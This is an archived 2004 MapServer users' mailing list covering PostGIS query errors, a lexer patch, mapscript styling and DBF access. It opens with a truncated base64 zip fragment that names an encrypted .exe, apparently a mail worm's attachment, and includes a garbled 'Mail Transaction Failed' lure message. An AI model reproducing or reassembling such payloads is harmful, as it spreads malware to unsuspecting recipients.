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 ----------txmlfhpmjshzijgmgccb-- From m.cave-ayland at webbased.co.uk Tue Jun 1 05:37:49 2004 From: m.cave-ayland at webbased.co.uk (Mark Cave-Ayland) Date: Tue, 1 Jun 2004 13:37:49 +0100 Subject: [Mapserver-users] bug postgis query alias In-Reply-To: <8F4A22E017460A458DB7BBAB65CA6AE5219367@openmanage> Message-ID: <8F4A22E017460A458DB7BBAB65CA6AE50265E1@openmanage> Hi Vladimir, I think I know what this might be. We had a similar problem caused by the fact that the Mapserver lexer has a very limited set of characters it will let through - the symptom being that Mapserver would truncate my DATA clause at the offending characters (in our case it was a colon) whenever I used a casting such as '::bigint' in the DATA string. The patch we are currently running against 3.6.5 is the following: --- mapserver-3.6.5.vanilla/maplexer.l Wed Sep 18 16:14:17 2002 +++ mapserver-3.6.5/maplexer.l Fri May 9 16:30:45 2003 @@ -348,7 +348,7 @@ [a-z/\.][a-z0-9/\._\-\=]* { return(MS_STRING); } [a-z/\.][a-z0-9/\.\-\=]* { return(MS_STRING); } -[a-z/\.][a-z0-9/\. \-\=]* { return(MS_STRING); } +[a-z/\.][a-z0-9/\. \-\=:'<>]* { return(MS_STRING); } \n { msyylineno++; } This allow us to use the :'<> characers in a Mapserver DATA clause. If you also include a \+ in the second regex to allow a + in the data string then hopefully your query will work. I don't know whether this has already been resolved in version 4. I didn't submit this as a patch as I wasn't sure what effect it would have on the other fields used by Mapserver since VALUE_STRING is not just used for the DATA clause - one of the other developers should be able to comment on this. Hope this helps, Mark. --- Mark Cave-Ayland Webbased Ltd. Tamar Science Park Derriford Plymouth PL6 8BX England Tel: +44 (0)1752 764445 Fax: +44 (0)1752 764446 This email and any attachments are confidential to the intended recipient and may also be privileged. If you are not the intended recipient please delete it from your system and notify the sender. You should not copy it or use it for any purpose nor disclose or distribute its contents to any other person. > -----Original Message----- > From: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of > Vladimir Guzm?n > Sent: 01 June 2004 13:04 > To: mapserver-users at lists.gis.umn.edu > Subject: Re: [Mapserver-users] bug postgis query alias > > > Yes, the query runs fine in the pgsql monitor: > gps=> select gid,'>' as sentido,tiempo,360-rumbo+90 as > rumbo,velocidad,gps_geom,oid from gps_vehi where > tiempo>='2004-05-31 05:00:00' and tiempo<='2004-06-02 04:59:59'; > gid | sentido | tiempo | rumbo | velocidad | > gps_geom | oid > -------+---------+---------------------+-------+-----------+-- -------------------------------+--------- > 46275 | > | 2004-05-31 15:16:09 | 450 | 0 | > SRID=1;POINT(-74.06318 4.67302) | 7731018 > 46276 | > | 2004-05-31 15:16:15 | 450 | 0 | > SRID=1;POINT(-74.06318 4.67302) | 7731019 > 46277 | > | 2004-05-31 15:16:21 | 450 | 0 | > SRID=1;POINT(-74.06319 4.67301) | 7731020 > ... > ... > > The error is just: > > *Warning*: MapServer Error in msDrawMap(): Failed to draw > layer named > 'puntosgps'. > in */usr/local/apache/htdocs/gps/index.phtml* on line *33* > > > Vladimir Ilich Guzm?n R. > ------------------------ > http://maintask.com > > > > strk wrote: > > >On Mon, May 31, 2004 at 03:29:45PM -0500, Vladimir Guzm?n wrote: > > > > > >>Hello. > >>I'm implementing a gps tracking system. > >>I want to show the car's orientation like this: > >>http://maintask.com/test.png The layer's data is something > like this: > >>----------------------------- > >>gps_geom from (select gid,sentido,tiempo,360-rumbo+90 as > >>rumbo,velocidad,gps_geom,oid from gps_vehi where > tiempo>='2004-05-29 > >>05:00:00' and tiempo<='2004-05-30 04:59:59') as foo using > unique gid > >>using srid=1 > >>----------------------------- > >>The field 'sentido' contains '>'. > >> > >>The problem is that if I use something like this: > >>----------------------------- > >>gps_geom from (select gid,'>' as sentido,tiempo,360-rumbo+90 as > >>rumbo,velocidad,gps_geom,oid from gps_vehi where > tiempo>='2004-05-29 > >>05:00:00' and tiempo<='2004-05-30 04:59:59') as foo using > unique gid > >>using srid=1 > >>----------------------------- > >>The query doesn't work. > >> > >>So I had to create a column in potgres called 'sentido' and all the > >>rows > >>containing '>'. > >> > >>Is this a bug? > >> > >> > > > >What's the error message ? > >Can you run the query from the pgsql monitor ? > >--strk; > > > > > > > >>The rest of the layer: > >> > >>LAYER > >> NAME "puntosgps" > >> CONNECTIONTYPE postgis > >> CONNECTION "user=gps password=gps dbname=gps host=localhost" DATA > >>"gps_geom from (select gid,sentido,tiempo,360-rumbo+90 as > >>rumbo,velocidad,gps_geom,oid from gps_vehi where > tiempo>='2004-05-29 > >>05:00:00' and tiempo<='2004-05-30 04:59:59') as foo using > unique gid > >>using srid=1" TYPE POINT > >>PROJECTION > >> "proj=latlong" > >> "datum=WGS84" > >>END > >> LABELANGLEITEM 'rumbo' > >> LABELITEM 'sentido' > >> CLASS > >> NAME 'Parado' > >> EXPRESSION ([velocidad] = 0) > >> SIZE 14 > >> SYMBOL 'circle' > >> COLOR 0 0 215 > >> OUTLINECOLOR 204 204 204 > >> END > >> CLASS > >> NAME '0-10' > >> EXPRESSION ([velocidad] > 0 AND[velocidad] <= 10) > >> SIZE 14 > >> SYMBOL 'circle' > >> COLOR 255 255 204 > >> OUTLINECOLOR 204 204 204 > >> LABEL > >> TYPE TRUETYPE > >> FORCE TRUE > >> FONT arial > >> ANTIALIAS TRUE > >> COLOR 0 0 0 > >> OUTLINECOLOR 255 255 255 > >> SIZE 8 > >> END > >> END > >>... > >>... > >> > >>Thanks a lot. > >> > >>-- > >>Vladimir Ilich Guzm?n R. > >>------------------------ > >>http://maintask.com > >> > >> > >>_______________________________________________ > >>Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu > >>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > >> > >> > >_______________________________________________ > >Mapserver-users mailing list > >Mapserver-users at lists.gis.umn.edu > >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > > > > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users > From ikeivy2000 at hotmail.com Tue Jun 1 05:40:13 2004 From: ikeivy2000 at hotmail.com (ikeivy2000 at hotmail.com) Date: Tue, 1 Jun 2004 08:40:13 -0400 Subject: [Mapserver-users] Failed (mapserver-users@lists.gis.umn.edu) Message-ID: <200406011240.i51CeiFS021588@lists.gis.umn.edu> This is a multi-part message in MIME format. ------=_NextPart_000_0016----=_NextPart_000_0016 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit Mail Transaction Failed - This mail couldn't be converted ------------- failed message ------------- 9J,-oM!#2wUkkj1Tt46R-?Y_XG..Yn?02hh8zA

Hi Everybody,

I have installed mapserver according to the installation instructions but when i started mapserver.exe.It gave me an error message.I am using Apache

I really dont know what is the problem,I tried also trying the demo version it was still not working.

Could any one help me with the rectification of this problem.

Thank you all.

Isaac


 


The new MSN 8: smart spam protection and 2 months FREE* From trianodon at flurbius.net Tue Jun 1 06:30:59 2004 From: trianodon at flurbius.net (trianodon at flurbius.net) Date: Tue, 01 Jun 2004 23:30:59 +1000 Subject: [Mapserver-users] win98+mapscript In-Reply-To: <40BBE888.5090808@dmsolutions.ca> Message-ID: <40BD11B3.17741.23EB99@localhost> Could someone please help me here. I am running a win98 box with apache 1.3 and php 4.3.4 now I would like to install mapserver with php mapscript. I have tried once and not succeeded. If anyone has any hints or links I would really appreciate it. thanks Gabe From hermi at citybeat.de Tue Jun 1 06:36:28 2004 From: hermi at citybeat.de (Hermann-Marcus Behrens) Date: Tue, 01 Jun 2004 15:36:28 +0200 Subject: [Mapserver-users] Change OVERLAYSIZE from perl/php? Message-ID: <40BC865C.6010706@citybeat.de> Hello, I'm using the new mapserv/mapscript 4.2 and I would like to access OVERLAYSYMBOL and OVERLAYSIZE from within mapscript with perl. Is this not possible anymore? I tried to change the values with "classObj" and "styleObj", but both attempts failed. I need OVERLAYSIZE to change dynamically the the "border" around Polylines for streets. Before OVERLAYSYMBOL etc. were introduced, I used to draw the streets twofold, once a little bit thicker an in a darker color an the second From rich at greenwoodmap.com Tue Jun 1 06:43:57 2004 From: rich at greenwoodmap.com (Richard Greenwood) Date: Tue, 01 Jun 2004 07:43:57 -0600 Subject: [Mapserver-users] architecture mapsserver/ jbox In-Reply-To: <1086075189.40bc31351284b@webmail.esm2.imt-mrs.fr> References: <1086075189.40bc31351284b@webmail.esm2.imt-mrs.fr> Message-ID: <40BC881D.3000207@greenwoodmap.com> S?bastien DUBOIS wrote: > what's the architecture of jbox in fact? > we're agree that with have an applet java. > > is it possible to interface this with a servlet serveur such tomcat? jBox runs entirely on the client (browser). jBox uses Liveconnect to allow communication between client-side javascript and the Java applet. > in other words , can i code (with such a tool as phpmapscript??) such that when > I right click on my applet a list of choice appears. At this time, jBox does not distinguish between right and left mouse clicks. Phpmapscript runs on the server, so I am not clear on how that would work. > is there an api, library? Yes. The only formal documentation is in the HOWTO on the mapserver doc's page. There are also a lot of comments in the Java source. > how communicate jbox when i select some points. > is there a call to the shape file on the server? the architecture is not very > clear for me... Primarily jBox was designed just to provide the screen coordinates of a rectangle defined by a user's mouse drag. Depending on mode (browse or query) mapserver will use the rectangle coordinates to zoom or do a spatial query. > in other words about mapserver. > when i overview some typical point of my shape file using jbox. > i can easily display the points i've taked in a html page with their attributes > but how just change their color or create a new database with them?? -- Richard Greenwood www.greenwoodmap.com From hermi at citybeat.de Tue Jun 1 06:50:19 2004 From: hermi at citybeat.de (Hermann-Marcus Behrens) Date: Tue, 01 Jun 2004 15:50:19 +0200 Subject: [Mapserver-users] Hwo to change OVERLAYSIZE from perl/php? Message-ID: <40BC899B.4020109@citybeat.de> Hello, I'm using the new mapserv/mapscript 4.2 and I would like to access OVERLAYSYMBOL and OVERLAYSIZE from within mapscript with perl. Is this not possible anymore? I tried to change the values with "classObj" and "styleObj", but both attempts failed. I need OVERLAYSIZE to change dynamically the "border" around polylines for streets. Before OVERLAYSYMBOL etc. were introduced, I drew the streets twofold, once a little bit thicker and in a darker color and the second time thinner with a lighter color. Is this a reasonable way to create borders around polylines? Greetings from Germany, Hermann Behrens From car271 at tiscali.it Tue Jun 1 07:06:18 2004 From: car271 at tiscali.it (Carmelo Fazio) Date: Tue, 01 Jun 2004 16:06:18 +0200 Subject: [Mapserver-users] Mouse over event in mapserver layer point Message-ID: <40BC8D5A.3040907@tiscali.it> Hi all, i'd like build a mapserver where each point, marked by a pixmap symbol, when mouse is over provide some pop-up information like Overlib. Someone know if is possible and is yes how? From sgillies at frii.com Tue Jun 1 07:21:51 2004 From: sgillies at frii.com (Sean Gillies) Date: Tue, 1 Jun 2004 08:21:51 -0600 Subject: [Mapserver-users] Hwo to change OVERLAYSIZE from perl/php? In-Reply-To: <40BC899B.4020109@citybeat.de> References: <40BC899B.4020109@citybeat.de> Message-ID: <063D4639-B3D7-11D8-A34C-000D9329D732@frii.com> On Jun 1, 2004, at 7:50 AM, Hermann-Marcus Behrens wrote: > Hello, > > I'm using the new mapserv/mapscript 4.2 and I would > like to access OVERLAYSYMBOL and OVERLAYSIZE from within mapscript > with perl. > > Is this not possible anymore? I tried to change the values with > "classObj" and "styleObj", but > both attempts failed. > > I need OVERLAYSIZE to change dynamically the "border" around polylines > for streets. > Before OVERLAYSYMBOL etc. were introduced, I drew the streets twofold, > once a little bit thicker and in a darker color and the second time > thinner with a lighter color. > > Is this a reasonable way to create borders around polylines? > > Greetings from Germany, > > Hermann Behrens Hello Hermann, The OVERLAYSYMBOL is deprecated. The best practice is to use multiple styles. In your mapfile, define two styles for a class. The second will be rendered over the first, the same order as layers are drawn. To dynamically add a second (overlay) style with mapscript, do something like this: $style = $class->getStyle(0); # underneath style $overlay_style = new mapscript::styleObj($class); # new style at index 1 $overlay_style->{symbol} = $overlay_symbol; # a symbol index number $overlay_style->{size} = $overlay_size; # new symbol size cheers, Sean -- Sean Gillies sgillies at frii dot com http://users.frii.com/sgillies From lfilak at medinaco.org Tue Jun 1 06:48:55 2004 From: lfilak at medinaco.org (Lowell Filak) Date: Tue, 01 Jun 2004 09:48:55 -0400 Subject: [Mapserver-users] Can't locate object method "TIEHASH" Message-ID: <20040601134844.D99B51A659B@mail.medinaco.org> Due to the nature of DBF files the access method can be slow but there are a couple of things you can watch. If you want to try and use indexes that exist on the DBF files be sure to compile in the alpha index support for different indexing schemes (or alternate Xbase.pm for Foxpro idx support) - I don't know how stable each of the individually supported index otions are. Use XBase directly as opposed to XBase via DBI - although this can make for considerably more coding for attribute queries. Option - Load all the DBF records into a RDBMS, create indexes, and use DBI. The quickest way we have found to dump & load all of the data into MySQL is to create a Perl script to immitate the DBFDUMP utility which adds a sequential number to the output as it prints each record to a tab delimited file for use by 'mysql> LOAD DATA LOCAL' - if I remember right the date format in the DBF matches what MySQL expects to load so that doesn't need touched - this was actually faster than opening one DBF handle and one RDBMS handle and reading & writing each record in our limited tests. HTH Lowell The following message was sent by Agneta Schick on Tue, 1 Jun 2004 10:55:15 +0200 (MEST). > Thanks for the replies. > > I have no problem using XBase but I thought I had > read an old mail ( which I can't find now) where someone criticised > this method as being slow and advised to use msDBF. > > A follow-up question: what is the fastest method > for extracting information from .dbf files? > > Agneta Schick > > > > It is best to use Perl's XBase module for querying the DBF files. > > I'm pretty sure that isn't even documented on purpose - I'll have to > > check the doc. > > > > Lowell > > > > The following message was sent by Agneta Schick > > on Fri, 28 May 2004 11:54:04 +0200 (MEST). > > > > > Hello mapserver-users, > > > > > > I've searched the mail archive and found 2 messages on this topic, > > > both were, however, unanswered. > > > > > > So I'll try again... > > > > > > Platform: > > > MapServer 4.0.1 > > > solaris 9 > > > Perl 5.8.3 > > > > > > I want to test an application querying shape files. > > > My perl mapscript code > > > ... > > > $layer->queryByPoint($tmp_map,$pnt,$mapscript::MS_SINGLE,1000); > > > my $res = $layer->getResult(0); > > > $layer->open(); > > > my $shape=new mapscript::shapeObj($layer->{type}); > > > my $shape_index = $layer->getShape($shape,-1,$res->{shapeindex}); > > > my $table = > > > > > mapscript::msDBFOpen("/space/b3sn13/webdb/htdocs/ermos/data/usgs.dbf","r+"); > > > .... > > > is terminated with > > > Can't locate object method "TIEHASH" via package "_DBFHandle". > > > > > > Is this a mapscript problem or is something missing in the installation? > > > > > > (I tried the same perl script on solaris 8, mapserver 3.6.5, perl 5.6 > > > and got the same error). > > > > > > Thanks, > > > Agneta Schick > > > > > > > > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > > > Agneta Schick > > > > > > Bundesanstalt fuer Geowissenschaften und Rohstoffe > > > Federal Institute for Geosciences and Natural Resources > > > Stilleweg 2 > > > D- 30655 Hannover Tel.: +49 511 643 3136 > > > GERMANY FAX.: +49 511 643 3663 > > > > > > schick at sdac.hannover.bgr.de http://www.seismologie.bgr.de > > > > > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > > > > > > > > > > > > > > > _______________________________________________ > > > Mapserver-users mailing list > > > Mapserver-users at lists.gis.umn.edu > > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From mike.merrett at city.whitehorse.yk.ca Tue Jun 1 08:55:32 2004 From: mike.merrett at city.whitehorse.yk.ca (Merrett, Mike) Date: Tue, 1 Jun 2004 08:55:32 -0700 Subject: [Mapserver-users] bug postgis query alias Message-ID: <3CB96EAEFD928B49AF8978BA92BB65A41DEEF2@DUKE.city.whitehorse.yk.ca> Try putting calls to the following function around the error lines and printing the results i.e. echo mapserver_error(); function mapserver_error() { $ms_err_msg =""; $ms_error = ms_GetErrorObj(); while($ms_error && $ms_error->code != MS_NOERR) { $ms_err_msg .= "MapServer Error in :" . $ms_error->routine . " " . $ms_error->message ."\n"; $ms_error = $ms_error->next(); } return $ms_err_msg; } Hope this helps, Mike Merrett -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of strk Sent: June 1, 2004 5:06 AM To: Vladimir Guzm?n Cc: mapserver-users at lists.gis.umn.edu Subject: Re: [Mapserver-users] bug postgis query alias On Tue, Jun 01, 2004 at 06:56:45AM -0500, Vladimir Guzm?n wrote: > Yes, the query runs fine in the pgsql monitor: > gps=> select gid,'>' as sentido,tiempo,360-rumbo+90 as > rumbo,velocidad,gps_geom,oid from gps_vehi where tiempo>='2004-05-31 > 05:00:00' and tiempo<='2004-06-02 04:59:59'; > gid | sentido | tiempo | rumbo | velocidad | > gps_geom | oid > -------+---------+---------------------+-------+-----------+---------------- -----------------+--------- > 46275 | > | 2004-05-31 15:16:09 | 450 | 0 | > SRID=1;POINT(-74.06318 4.67302) | 7731018 > 46276 | > | 2004-05-31 15:16:15 | 450 | 0 | > SRID=1;POINT(-74.06318 4.67302) | 7731019 > 46277 | > | 2004-05-31 15:16:21 | 450 | 0 | > SRID=1;POINT(-74.06319 4.67301) | 7731020 > ... > ... > > The error is just: > > *Warning*: MapServer Error in msDrawMap(): Failed to draw layer named > 'puntosgps'. > in */usr/local/apache/htdocs/gps/index.phtml* on line *33* Ooh.. I see.. php involved! There are lot's of auto handling of special chars with php... Showing that line 